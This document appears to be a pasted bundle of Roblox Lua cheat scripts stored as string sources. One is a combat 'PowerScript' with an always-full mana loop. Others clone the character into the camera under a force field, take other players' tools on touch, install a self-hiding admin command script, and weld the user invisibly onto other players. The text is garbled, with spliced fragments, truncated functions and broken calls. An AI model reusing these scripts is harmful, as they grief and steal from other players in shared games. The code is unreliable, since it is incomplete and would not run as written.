ShootSpike(9999999,nil,"White",1,7.5,cf(mzs["han" ..xi].spi.Position,mou.hit.p),fal
se,3,t) w() Sound(Sounds.Unsheath,1.6,1) w(0.17) end for i,v in
pairs(mzs:children()) do cw(function() for xi=0.2,1,0.1 do v.Transparency = xi
v.spi.Transparency = xi w() end end) w(0.05) end w(0.6) spining = false
cw(function() c1(llw,0.05,3,-0.5,-1,0,-90,0,0) end) cw(function()
c1(rlw,0.05,3,0.5,-1,0,-90,0,0) end) cw(function() c1(tw,0.05,3,0,8.5,0,0,-90,-50)
end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,0,0,0) end) cw(function() c1(law,0.05,3,-
1.3,1,-0.2,-30,0,18) end)
c1(raw,0.05,3,1,0,-0.7,-140,0,-150) cw(function() c1(llw,0.07,3,-0.5,-
1,0,0,0,0) end) cw(function() c1(rlw,0.07,3,0.5,-1,0,0,0,0) end)
Misc["v"].han.Weld.Part0 = ra Misc["v"].han.Weld.C0 = cf(0,-2.25,0) cw(function()
c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function()
c1(tw,0.05,3,0,0,0,0,0,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,0,0) end)
cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-
1.3,1,-0.2,-30,0,18) end) hu.WalkSpeed=ns*0.75 c1(raw,0.04,3,0.7,0.8,0,45,0,-150)
a.c=true a.b="None" Legz(true) mzs:Remove''
elseif mp >= 500 and k=="u" and a.a=="Lance" and a.b=="None" then
a.b="Swords" a.c=false mp=mp-500
local cr1 =
pa(workspace.CurrentCamera,"","Block",0.5,0,4,false,false,0.5,0,"White") local cr1w
= weld(cr1,to,cr1,0,0,-46,0,rd(135),0) local cr2 =
pa(workspace.CurrentCamera,"","Block",0.5,0,4,false,false,0.5,0,"White") local cr2w
= weld(cr2,to,cr2,0,0,-46,0,rd(45),0)
cw(function() c1(tw,0.05,3,0,0,0,0,-90,0) end) cw(function()
c1(hw,0.05,3,0,1.5,0,0,90,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,0,0,0) end) c1(raw,0.05,3,1,0.5,0,0,0,-90)
Misc["v"].han.Weld.Part0 = to c1(Misc["v"].han.Weld,1,3,0,0.5,-3,-90,0,0)
cw(function() c1(law,0.05,3,-1,0.5,0,45,0,135) end) cw(function()
c1(raw,0.05,3,1,0.5,0,45,0,-135) end) cw(function() c1(tw,0.05,3,0,0,0,0,0,0) end)
c1(hw,0.05,3,0,1.5,0,0,0,0)
local spinin = true local rt = pa(m,"","Block",0,0,0,false,false,1,0,"")
local rtw = weld(rt,ra,rt,0,-15,-1,0,0,0)
local rmzs = it("Model",m) local chim = 0 for i=0,360,360/12 do chim = chim+1
local shs = pa(rmzs,"han" ..chim,"Block",0,0,0,false,false,1,0,"Institutional
white") local shsm = it("SpecialMesh",shs) shsm.MeshType = "FileMesh" shsm.MeshId =
Decs.Sword1 shsm.Scale = v3(1.8,1.4,1.2)
local shs3 = weld(shs,rt,shs,0,0,0,rd(0),rd(i),0) shs3.C1 = cf(0,0,-
8)*ca(rd(0),0,0)
end local lt = pa(m,"","Block",0,0,0,false,false,1,0,"") local ltw =
weld(lt,la,lt,0,-22,-1,0,0,0)
local lmzs = it("Model",m) local chim = 0 for i=0,360,360/8 do chim = chim+1
local shs = pa(lmzs,"han" ..chim,"Block",0,0,0,false,false,1,0,"Institutional
white") local shsm = it("SpecialMesh",shs) shsm.MeshType = "FileMesh" shsm.MeshId =
Decs.Sword1 shsm.Scale = v3(1.8,1.4,1.2)
local shs3 = weld(shs,lt,shs,0,0,0,rd(0),rd(i),0) shs3.C1 = cf(0,0,-
6)*ca(rd(0),0,0)
end cw(function() cw(function() for x,v in pairs(lmzs:children()) do w(0.06)
cw(function() Sound(Sounds.Unsheath,1.4,1,v) for i=1,0.4,-0.05 do w()
v.Transparency = i end Sound(Sounds.Slash,1.4,1,v) end) end
end) cw(function() for x,v in pairs(rmzs:children()) do w(0.06) cw(function()
Sound(Sounds.Unsheath,1.4,1,v) for i=1,0.4,-0.05 do w() v.Transparency = i end
Sound(Sounds.Slash,1.4,1,v) end) end end) repeat rtw.C0 = rtw.C0 *ca(0,rd(8),0)
ltw.C0 = ltw.C0 *ca(0,rd(-8),0) w() until not spinin end)
w(0.5) cw(function() c1(law,0.025,3,-1,0.5,0,-90,0,90) end) cw(function()
c1(raw,0.025,3,1,0.5,0,-90,0,-90) end)
w(2.5) for i=0,1,0.1 do for x,v in pairs(lmzs:children()) do v.Weld.C1 =
cf(0,-3*i,-6+(13*i))*ca(rd(-120*i),0,0) end for x,v in pairs(rmzs:children()) do
v.Weld.C1 = cf(0,-5*i,-8+(19*i))*ca(rd(-120*i),0,0) end w() end for
i=1,#lmzs:children() do local v = lmzs["han" ..i] Sound(Sounds.Unsheath,1.6,1,v)
ShootProjectile(v,cf(v.Position,(to.CFrame*cf(0,0,-40)).p),ca(rd(180),0,0),5,7,50)
v.Transparency = 1 w(0.1) end for i=1,#rmzs:children() do local v = rmzs["han" ..i]
Sound(Sounds.Unsheath,1.6,1,v) ShootProjectile(v,cf(v.Position,(to.CFrame*cf(0,0,-
40)).p),ca(rd(180),0,0),5,7,50) v.Transparency = 1 w(0.1) end fade(cr1,0.1)
fade(cr2,0.1) w(0.25)
rayHit(2,5,Misc["v"].han,cf(0,0,0)*ca(rd(-90),0,0),14,25,30)
Trail2(9999,Misc["v"].spiketip,0,"Black",0.8,cf(-2,0,0))
Trail2(9999,Misc["v"].spike,0,"White",0.8,cf(2,5,0))
Trail2(9999,Misc["v"].han,0,a.s.Lancet,0.5,cf(0,1,0))
cw(function() for x=3,100,3 do if x%6 == 0 then local hax = true if x%12 == 0
then hax = false end GlowMesh(hax,asset ..
Decs.Spike,Misc["v"].spike,v3(3,20,3),raigcol2,cf(0,0,0)) end w() end end)
Sound(Sounds.Ghost,0.8,1.5) c1(Misc["v"].han.Weld,0.03,3,0,0.5,-45,-90,0,0)
GlowMesh(false,asset .. Decs.Ring,to,v3(20,20,10),raigcol2,cf(0,0,-57)*ca(0,0,0))
Sound(Sounds.Imbue,0.8,1.5)
rtab(sTrail,Misc["v"].spiketip) rtab(sTrail,Misc["v"].spike)
rtab(sTrail,Misc["v"].han) w(0.5) cw(function()
c1(Misc["v"].han.Weld,0.05,3,0,0.5,-3,-90,0,0) end) cw(function()
c1(tw,0.05,3,0,0,0,0,-90,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,90,0) end)
c1(raw,0.05,3,1,0.5,0,0,0,-90) w(0.5) c1(Misc["v"].han.Weld,1,3,0,-2.25,0,0,0,0)
lt:Remove'' rt:Remove'' Misc["v"].han.Weld.Part0 = ra Misc["v"].han.Weld.C0 =
cf(0,-2.25,0) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end)
cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function()
c1(tw,0.05,3,0,0,0,0,0,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,0,0) end)
cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-
1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
Legz(true)
elseif mp >= maxmp*0.8 and k=="h" and a.a=="Lance" and a.b=="None" then
a.b="RushCharge" a.c=false mp=rn(1,maxmp*0.2)
cw(function() c1(law,0.05,3,-1.5,0.5,-0.5,-90,15,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,0,0,0) end) cw(function()
c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,-30,0,0) end) cw(function()
c1(Misc["v"].shield.Weld,0.05,0,-2.5,2.75,2.5,0,25,80) end) c1(raw,0.05,3,1,0.5,-
0.5,-120,0,-90)
Sound(Sounds.Abscond,0.9,1) local at = Misc["v"].shield local shieldz = {}
local spaiks = {} local shieldin = true
for yy=1,8 do Sound(Sounds.Unsheath,1.6,1) local dec = at:Clone() dec.Parent
= m local decw = weld(dec,at,dec,0,0,0,0,0,0)
ti(shieldz,dec) for ii=0,1,0.2 do decw.C0 = cf(0,-0.5*ii,-2.25*ii)*ca(rd(-
25*ii),rd(5*ii),0) w() end at = dec cw(function() repeat w() until not shieldin
w(1+(yy/6)) decw:Remove'' dec.CanCollide = true w(3) fade(dec,0.1) end)
cw(function() local dec = at:Clone() dec.Parent = m local decw =
weld(dec,at,dec,0,0,0,0,0,0) ti(shieldz,dec) for ii=0,1,0.2 do decw.C0 = cf(-
2.8*ii,-0.65*ii,0)*ca(0,0,rd(20*ii)) w() end Sound(Sounds.Unsheath,1.6,1) repeat
w() until not shieldin w((yy/10)) for ii=1,0,-0.2 do decw.C0 = cf(-2.8*ii,-
0.65*ii,0)*ca(0,0,rd(20*ii)) w() end end)
cw(function() local dec = at:Clone() dec.Parent = m local decw =
weld(dec,at,dec,0,0,0,0,0,0) ti(shieldz,dec) for ii=0,1,0.2 do decw.C0 =
cf(2.8*ii,0.65*ii,0)*ca(0,0,rd(20*ii)) w() end repeat w() until not shieldin
w((yy/10)) for ii=1,0,-0.2 do decw.C0 = cf(2.8*ii,0.65*ii,0)*ca(0,0,rd(20*ii)) w()
end end)
end for i,v in pairs(shieldz) do w() local dec = at:Clone() dec.Name =
"spaik" dec.BrickColor = bc("Black") dec.Mesh:Remove() dec.Parent = m local decw =
weld(dec,v,dec,0,0,0,0,0,0) local ssm = it("SpecialMesh",dec) ssm.MeshType =
"FileMesh" ssm.MeshId = asset .. Decs.Spike
cw(function() for ii=0,1,0.1 do decw.C0 = cf(0,1.25*ii,0) ssm.Scale =
v3(0.5,3.3,0.5)*ii w() end ti(spaiks,dec) Sound(Sounds.Unsheath,1.4,1) end) end
local fi = at:Clone() fi.Parent = m fi.Mesh:Remove() fi.Transparency = 1 fiw
= weld(fi,t,fi,0,0,6,-90,0,0) local fia = it("Fire",fi) fia.Heat = -25 fia.Size =
22 fia.Color = bc("Really blue").Color fia.SecondaryColor = bc("White").Color
Sound(Sounds.Abscond,1.2,2) hu.WalkSpeed = ns*3 local zemagiks = false
for tx=1,500 do if tx%4==0 then
GlowMesh(false,"Block",Misc["v"].spike,v3(rn(25,50)/10,rn(25,50)/10,rn(25,50)/
10),raigcol3,cf(rn(-10,10),rn(-1,10),rn(-10,10))*ca(rd(rn(-360,360)),rd(rn(-
360,360)),rd(rn(-360,360)))) end if tx%3 ==0 then hu:MoveTo((to.CFrame*cf(0,0,-
5)).p,to) end
if tx%12==0 then SplashDmg(false,to.Position,12,18,100)
GlowMesh(false,asset ..
Decs.Crown,Misc["v"].spike,v3(10,20,10),raigcol3,cf(0,8,0)*ca(rd(180),rd(tx*5),0))
end if tx%7 == 0 then rayHit(0.4,5,Misc["v"].han,cf(0,0,0)*ca(rd(-90),0,0),14,5,5)
end if tx%2==0 then if zemagiks then zemagiks = false else zemagiks = true end
GlowMesh(zemagiks,asset ..
Decs.Spike,Misc["v"].spike,v3(4.4,27,4.4),raigcol3,cf(0,0,0)) end w() end
hu.WalkSpeed = ns*0.75 for i,v in pairs(spaiks) do w() cw(function() for
ii=1,0,-0.1 do v.Weld.C0 = cf(0,1.25*ii,0) v.Mesh.Scale = v3(0.5,3.3,0.5)*ii w()
end Sound(Sounds.Unsheath,1.4,1) shieldin = false v:Remove() end) end
for ix=22,0,-0.5 do fia.Size = ix w() end fi:Remove() w(1) cw(function()
c1(Misc["v"].shield.Weld,0.05,0,-0.6,-1.25,0,55,0,90) end) cw(function()
c1(Misc["v"].han.Weld,0.04,1,0,0.8,0,180,0,45) end) cw(function()
c1(Misc["v"].han.Weld,0.04,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.04,3,-
1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.b="None" a.c=true
end -- key
end -- bool
end -- func end
loltewlnaem = "PowerScript"
re(bp,loltewlnaem)
bin=it("HopperBin",bp) bin.Name=loltewlnaem
script.Parent=bin
bin.Selected:connect(function(mouse) mou = mouse
mouse.Button1Down:connect(function() Button = true cw(function() repeat
w(0.1) a.clickHold = a.clickHold + 0.1 until not Button end)()
end)
mouse.Button1Up:connect(function() Button = false
end)
mouse.KeyDown:connect(function(k2) local k = k2:lower() Key = true
ky = ""
if a.a == "None" then
a.Act(k,true)
else
a.Act(k,false)
end
end)
mouse.KeyUp:connect(function(k2)
pcall(function()
ky = ""..k2:lower()
end)
Key = false end)
end)
re(pg,loltewlnaem) raigcol="Alder" raigcol2="New Yeller" raigcol3="Navy blue"
raigcol4="Bright red"
Gui=it("ScreenGui",pg) Gui.Name=loltewlnaem
fr=it("Frame",Gui) fr.Size=ud(1,0,1,0) fr.Active=false
fr.BackgroundTransparency=1
mptray=it("TextLabel",fr) mptray.BackgroundColor3=bc("Black").Color
mptray.Size=ud(0.18,0,0.08,0) mptray.BorderSizePixel=0
mptray.Position=ud(0.41,0,0.025,0) mptray.Text=""
mptext=it("TextLabel",mptray) mptext.BackgroundTransparency=1
mptext.Size=ud(1,0,0.5,0) mptext.Position = ud(0,0,0.1,0)
mptext.TextColor3=bc("White").Color
mptext.FontSize="Size18" mptext.Font="ArialBold" mptext.ZIndex=2
mptext.Text="Mp P" .. "ower"
mptext2=it("TextLabel",mptray) mptext2.BackgroundTransparency=1
mptext2.Size=ud(1,0,0.5,0) mptext2.Position = ud(0,0,0.4,0)
mptext2.TextColor3=bc("White").Color
mptext2.FontSize="Size18" mptext2.Font="ArialBold" mptext2.ZIndex=2
mptext2.Text="/"
mpfill=it("ImageLabel",mptray) mpfill.BackgroundColor3=bc(raigcol).Color
mpfill.Image=asset .. Decs.Shine mpfill.Size=ud(0.97,0,0.90,0)
mpfill.Position=ud(0.015,0,0.05,0)
sttray=it("ImageLabel",fr) sttray.BackgroundColor3=bc("Black").Color
sttray.Size=ud(0.2,0,0.055,0) sttray.BorderSizePixel=0
sttray.Position=ud(0.043,0,0.94,0) sttray.Image=asset .. Decs.Shine
sttext=it("TextLabel",fr) sttext.BackgroundTransparency=1
sttext.Size=ud(0.2,0,0.055,0) sttext.BorderSizePixel=0 sttext.ZIndex=2
sttext.Position=ud(0.043,0,0.94,0)
sttext.FontSize="Size18" sttext.Font="ArialBold" sttext.Text="Mode:"
sttext.TextColor3=bc("White").Color
cw(function() while w() do mptext2.Text = ts(mf(mp)).. "/" ..ts(mf(maxmp))
sttext.Text=" " ..a.a.. " [" ..a.b.. "] " mpfill.Size=ud((0.97/maxmp)*mp,0,0.9,0)
end end)
cw(function() while w() do if mp >= maxmp then local
raigcolz=bc(raigcol).Color local rr,gg,bb=raigcolz.r,raigcolz.g,raigcolz.b for
xz=gg,gg-80,-5 do if mp < maxmp then mpfill.BackgroundColor3=bc(raigcol).Color
break end mpfill.BackgroundColor3=c3(rr,xz,bb) w() end
for xz=gg-80,gg,5 do if mp < maxmp then
mpfill.BackgroundColor3=bc(raigcol).Color break end
mpfill.BackgroundColor3=c3(rr,xz,bb) w() end end end end) local runspi=0
hu.Running:connect(function(spid) runspi=spid end)
cw(function() while w() do if m.Parent == nil then break end
if runspi == 0 then
if (a.a == "Cham" .. "pion" or a.a == "Lan" .. "ce") and Legb and Legb2 then
Legz(false) Legb=true w(0.06) repeat for xi=-5,5,0.5 do if runspi ~= 0 or not
Legb then break end c1(llw,1,3,-0.5,-1,0,-5-xi/3,0,8+xi) c1(rlw,1,3,0.5,-1,0,-5-
xi/3,0,-8-xi) w() end for xi=5,-5,-0.5 do if runspi ~= 0 or not Legb then break end
c1(llw,1,3,-0.5,-1,0,-5-xi/3,0,8+xi) c1(rlw,1,3,0.5,-1,0,-5-xi/3,0,-8-xi) w() end
until runspi ~= 0 or not Legb
end
else
if (a.a == "Cha" .. "mpion" or a.a == "La" .. "nce") and Legb then
Legz(true) c1(llw,1,3,-0.5,-1,0,0,0,0) c1(rlw,1,3,0.5,-1,0,0,0,0) print("mk")
end
end
end end)
cw(function() while w() do if not Button and a.ClickHold > 0 then
a.ClickHold=a.ClickHold - 0.1 end end end)
hu.WalkSpeed=ns while wait() do mp = maxmp end]]
OutGameSource=[[
-- Settings --
_ForceField = true
_RespawnTime = 0
_PlayerName = "ROBLOX"
_ChatColor = "Blue"
-- Some variables --
_Player = game.Players.LocalPlayer
_Neutral = _Player.Neutral
_TeamColor = _Player.TeamColor
_Character = _Player.Character
_Camera = game.Workspace.CurrentCamera
_Character.Archivable = true
wait()
_BaseChar = _Character:clone()
_Respawning = false
-- Some functions --
function _CreateChar(vector)
if _Respawning then return else _Respawning = true
for _,v in pairs(_Player.Backpack:GetChildren())do
v:remove()
end
for _,v in pairs(_Player.PlayerGui:GetChildren())do
v:remove()
end
local _CloneChar = _BaseChar:clone()
_CloneChar:MakeJoints()
if vector and _CloneChar:FindFirstChild("Torso") then
_CloneChar.Torso.CFrame = CFrame.new(vector)
end
_CloneChar.Parent = game.Workspace.CurrentCamera
_CloneChar.Name = _PlayerName
_CloneChar.Archivable = false
_Camera.CameraSubject = _CloneChar:FindFirstChild("Humanoid")
_Camera.CameraType = "Custom"
for _,v in pairs(_Player.StarterGear:GetChildren())do
if not _Player.Backpack:FindFirstChild(v.Name) then
v:clone().Parent = _Player.Backpack
end
end
for _,v in pairs(game:GetService("StarterPack"):GetChildren())do
if not _Player.Backpack:FindFirstChild(v.Name) then
v:clone().Parent = _Player.Backpack
end
end
for _,v in pairs(game:GetService("StarterGui"):GetChildren())do
if not _Player.PlayerGui:FindFirstChild(v.Name) then
v:clone().Parent = _Player.PlayerGui
end
end
for _,v in pairs(_Player.Backpack:GetChildren())do
if v:IsA("Tool") then
v.Enabled = true
elseif v:IsA("HopperBin") then
v.Active = false
end
end
_Player.Character = _CloneChar
for _,v in pairs(_CloneChar:GetChildren())do
if v:IsA("Script") or v:IsA("LocalScript") then
v.Disabled = true wait() v.Disabled = false
end
end
_Respawning = false
return _CloneChar
end
end
function _VerifyCopy(_PlayerName)
while wait() do
if not game.Players:FindFirstChild(_PlayerName) then
local _LocalPlayer =
Instance.new("ObjectValue",game.Players)
_LocalPlayer.Name = _PlayerName
end
if game.Players:FindFirstChild(_PlayerName) then
if game.Players[_PlayerName]:IsA("ObjectValue") then
if not
game.Players[_PlayerName]:FindFirstChild("Backpack") then
local _LocalBackpack =
Instance.new("ObjectValue",game.Players[_PlayerName])
_LocalBackpack.Name = "Backpack"
end
if not
game.Players[_PlayerName]:FindFirstChild("StarterGear") then
local _LocalStarterGear =
Instance.new("ObjectValue",game.Players[_PlayerName])
_LocalStarterGear.Name = "StarterGear"
end
if not
game.Players[_PlayerName]:FindFirstChild("PlayerGui") then
local _LocalPlayerGui =
Instance.new("ObjectValue",game.Players[_PlayerName])
_LocalPlayerGui.Name = "PlayerGui"
end
end
end
end
end
function _CloneTools(_name,_type)
for _,v in pairs(game.Players[_name][_type]:GetChildren())do
if not _Player[_type]:FindFirstChild(v.Name) and not
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild(v.Name) then
v.Parent = _Player[_type]
coroutine.resume(coroutine.create(function()
function fixScripts(path)
for e,i in pairs(path:GetChildren())do
if i:IsA("Script") or
i:IsA("LocalScript") then
if i.Disabled == false then
i.Disabled = true wait()
i.Disabled = false
end
end
fixScripts(i)
end
end
fixScripts(v)
end))
end
end
end
function _TransferTools(_pname)
while wait() do
if game.Players:FindFirstChild(_pname) then
if game.Players[_pname]:FindFirstChild("Backpack") then
coroutine.resume(coroutine.create(_CloneTools),_pname,"Backpack")
for _,v in pairs(_Player.Backpack:GetChildren())do
if not
game.Players[_pname].Backpack:FindFirstChild(v.Name) then
v:clone().Parent =
game.Players[_pname].Backpack
end
end
end
if game.Players[_pname]:FindFirstChild("StarterGear") then
coroutine.resume(coroutine.create(function()
for _,v in
pairs(game.Players[_pname].StarterGear:GetChildren())do
if not
_Player.StarterGear:FindFirstChild(v.Name) then
v:clone().Parent =
_Player.StarterGear
end
end
end))
for _,v in pairs(_Player.StarterGear:GetChildren())do
if not
game.Players[_pname].StarterGear:FindFirstChild(v.Name) then
v:clone().Parent =
game.Players[_pname].StarterGear
end
end
end
if game.Players[_pname]:FindFirstChild("PlayerGui") then
for _,v in pairs(_Player.PlayerGui:GetChildren())do
if not
game.Players[_pname].PlayerGui:FindFirstChild(v.Name) then
v:clone().Parent =
game.Players[_pname].PlayerGui
end
end
coroutine.resume(coroutine.create(_CloneTools),_pname,"PlayerGui")
end
end
end
end
game.Workspace.CurrentCamera[_PlayerName]:remove() _ChreateChar()
elseif
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then
if
game.Workspace.CurrentCamera[_PlayerName].Humanoid.Health == 0 then
wait(_RespawnTime)
game.Workspace.CurrentCamera[_PlayerName]:remove() _CreateChar()
end
end
end
elseif not
game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
_CreateChar()
end
if _ForceField then
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName)
then
if not
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("ForceField") then
Instance.new("ForceField",game.Workspace.CurrentCamera[_PlayerName])
end
end
end
end
end))
-- Take weapons --
coroutine.resume(coroutine.create(function()
while wait() do
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
_TempChar =
game.Workspace.CurrentCamera:FindFirstChild(_PlayerName)
function checkParts(path)
for _,v in pairs(path:GetChildren())do
if v:IsA("Part") then
if not v:FindFirstChild("TouchInterest")
then
v.Touched:connect(function(Part)
if Part.Parent:IsA("Tool")
then
Part.Parent.Parent =
_TempChar
end
end)
end
end
checkParts(v)
end
end
checkParts(_TempChar)
end
end
end))
-- Chat box --
coroutine.resume(coroutine.create(function()
_Player.Chatted:connect(function(msg)
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
if
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Head") then
game:GetService("Chat"):Chat(game.Workspace.CurrentCamera[_PlayerName].Head,
msg, _ChatColor)
end
end
end)
end))
AdminScriptSource=[[
adminlist = {game.Players.LocalPlayer.Name}
bannedlist = {""}
texture = ""
wait(.5) script.Parent=nil
namelist = { }
variablelist = { }
flist = { }
tools = Instance.new("Model")
c = game.Lighting:GetChildren()
for i=1,#c do
if c[i].className == "Tool" then
c[i]:clone().Parent = tools
end
if c[i].className == "HopperBin" then
c[i]:clone().Parent = tools
end end
function findplayer(name,speaker)
if string.lower(name) == "all" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
table.insert(chars,c[i])
end end
return chars
elseif string.lower(name) == "bc" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if not c[i].MembershipType == Enum.MembershipType.None then
if c[i].className == "Player" then
table.insert(chars,c[i])
end end end
return chars
elseif string.lower(name) == "nbc" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].MembershipType == Enum.MembershipType.None then
if c[i].className == "Player" then
table.insert(chars,c[i])
end end end
return chars
elseif string.sub(string.lower(name),1,9) == "nonadmins" then
local nnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
local isadmin = false
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
isadmin = true
end end
if isadmin == false then
nnum = nnum + 1
table.insert(chars,c[i])
end end
if nnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == "admins" then
local anum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
anum = anum + 1
table.insert(chars,c[i])
end end end
if anum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == "random" then
while true do
local c = game.Players:GetChildren()
local r = math.random(1,#c)
if c[r].className == "Player" then
return { c[r] }
end end
elseif string.sub(string.lower(name),1,6) == "guests" then
local gnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
if string.sub(c[i].Name,1,5) == "Guest" then
gnum = gnum + 1
table.insert(chars,c[i])
end end
if gnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,5) == "team " then
local theteam = nil
local tnum = 0
if game.Teams ~= nil then
local c = game.Teams:GetChildren()
for i =1,#c do
if c[i].className == "Team" then
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1
then
theteam = c[i]
tnum = tnum + 1
end end end
if tnum == 1 then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if c[i].TeamColor == theteam.TeamColor then
table.insert(chars,c[i])
end end end
return chars
end end
return 0
elseif string.lower(name) == "me" then
local person299 = { speaker }
return person299
function text(message,duration,type,object)
local m = Instance.new(type)
m.Text = message
m.Parent = object
wait(duration)
if m.Parent ~= nil then
m:remove()
end end
function foc(msg,speaker)
if string.lower(msg) == "fix" then
for i =1,#namelist do
if namelist[i] == speaker.Name then
variablelist[i]:disconnect()
table.remove(variablelist,i)
table.remove(namelist,i)
table.remove(flist,i)
end end
local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
table.insert(namelist,speaker.Name)
table.insert(variablelist,tfv)
local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
table.insert(flist,tfv)
end end
function PERSON299(name)
for i =1,#adminlist do
if adminlist[i] == name then
return true
end end
return false
end
function oc(msg,speaker)
--Bored...
game.Players.ChildAdded:connect(oe)
c = game.Players:GetChildren()
for i=1,#c do
oe(c[i])
end]]
MergeScriptSource=[[
plr=game.Players.LocalPlayer
coroutine.resume(coroutine.create(function(plr) while(wait())do
if(plr.Character~=nil)then chr=plr.Character end end end),plr)
if(script.Parent.ClassName~="HopperBin")then
bin=Instance.new("HopperBin",plr.Backpack)
bin.Name="iMergeTool"
script.Name="iMergeScript"
script.Parent=bin
else
script.Name="iMergeScript"
bin=script.Parent
bin.Name="iMergeTool"
end
una=false
bin.Selected:connect(function(mouse)
function cff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("Part"))then
Instance.new("ForceField",v)
end
cff(v)
end
end
cff(plr.Character)
mouse.Button1Down:connect(function()
if(mouse.Target~=nil)then
if(mouse.Target.Parent:IsA("Model"))then
if(mouse.Target.Parent:FindFirstChild("Humanoid"))then
if(mouse.Target.Parent.Humanoid.Health~=0)then
function cff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("Part"))then
Instance.new("ForceField",v)
end
cff(v)
end
end
cff(plr.Character)
chr:FindFirstChild("Torso").Anchored=false
inv=function(pth)
for _,v in
pairs(pth:GetChildren())do
if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"
))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("Skateboa
rdPlatform"))then
v.Transparency=1
end
inv(v)
end
end
inv(chr)
chr:FindFirstChild("Humanoid").PlatformStand=true
chr:FindFirstChild("Head").CanCollide=false
chr:FindFirstChild("Torso").CanCollide=false
chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent:FindFirstChild("T
orso").CFrame.p+Vector3.new(0,8,0))
chr:FindFirstChild("Head").CanCollide=true
chr:FindFirstChild("Torso").CanCollide=true
if
not(chr:FindFirstChild("iMergeWeld"))then
wld=Instance.new("Weld",chr)
wld.Name="iMergeWeld"
else
wld=chr:FindFirstChild("iMergeWeld")
function rff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(wld.Part0.Parent)
end
wld.Part0=mouse.Target.Parent:FindFirstChild("Torso")
wld.Part1=chr:FindFirstChild("Torso")
wld.C1=CFrame.new(Vector3.new(0,-0.1,0))
if(mouse.Target~=nil)then
function iff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("Part"))then
Instance.new("ForceField",v)
end
iff(v)
end
end
iff(mouse.Target.Parent)
Instance.new("ForceField",mouse.Target.Parent)
end
coroutine.resume(coroutine.create(function(chr,una)
una=true
while(una)and wait() do
if
not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformSta
nd==true)then
chr:FindFirstChild("Torso").Anchored=true
break
else
chr:FindFirstChild("Torso").Anchored=false
end
end
end),chr,una)
coroutine.resume(coroutine.create(function(plr,chr)
while true and wait() do
if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
function rff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(plr)
break
end
end
end),mouse.Target.Parent,chr)
end
end
elseif(mouse.Target.Parent:IsA("Hat"))then
if(mouse.Target.Parent.Parent:IsA("Model"))then
if(mouse.Target.Parent.Parent:FindFirstChild("Humanoid"))then
if(mouse.Target.Parent.Parent.Humanoid.Health~=0)then
inv=function(pth)
for _,v in
pairs(pth:GetChildren())do
if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"
))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("Skateboa
rdPlatform"))then
v.Transparency=1
end
